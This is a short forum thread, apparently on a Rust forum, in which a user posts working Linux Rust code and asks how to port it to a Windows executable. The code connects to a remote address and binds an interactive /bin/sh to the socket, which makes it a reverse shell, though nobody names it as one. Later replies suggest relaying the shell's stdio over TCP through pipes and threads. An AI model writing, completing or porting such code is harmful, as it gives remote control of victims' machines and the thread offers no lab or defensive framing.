Equivalent for windows


#1

Hello,
I need an equivalent code for windows.
This code work correctly on linux
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

fn main() {
let s = TcpStream::connect(“192.168.1.3:6666”).unwrap();
let fd = s.as_raw_fd();
Command::new("/bin/sh")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();
}


#2

The Windows command interpreter is cmd.exe

Please use triple backticks to insert code in your post:

    ```
    my rust code
    ```

#3

Thank you for the response.
I wasn’t in my question, sorry.
i want to build an exe file from this program to execute it on windows system, the problem is, that you can see, i use linux libraries.
What methods do I need to use to get Stdio over a TCP or UDP stream on Windows?

std::os::windows::io::AsRawSocket works for the TCP/UDP streams on Windows, but it does not work with Stdio.

std::os::windows::io::AsRawHandle works for Stdio and File but not a TcpStream


#4

Ah, sorry, I misunderstood. I don’t know why you can’t get a handle for a TcpStream, this probably has to do something with the Windows sockets implementation. As an alternative, instead of connecting the TcpStream directly to stdin/out/err of the child process, you could use Stdio::piped and have 3 threads that shuttle data to/from the TCP connection and the pipes.


#5

Ok. thank you i see.
with what can i replace s.as_raw_fd()?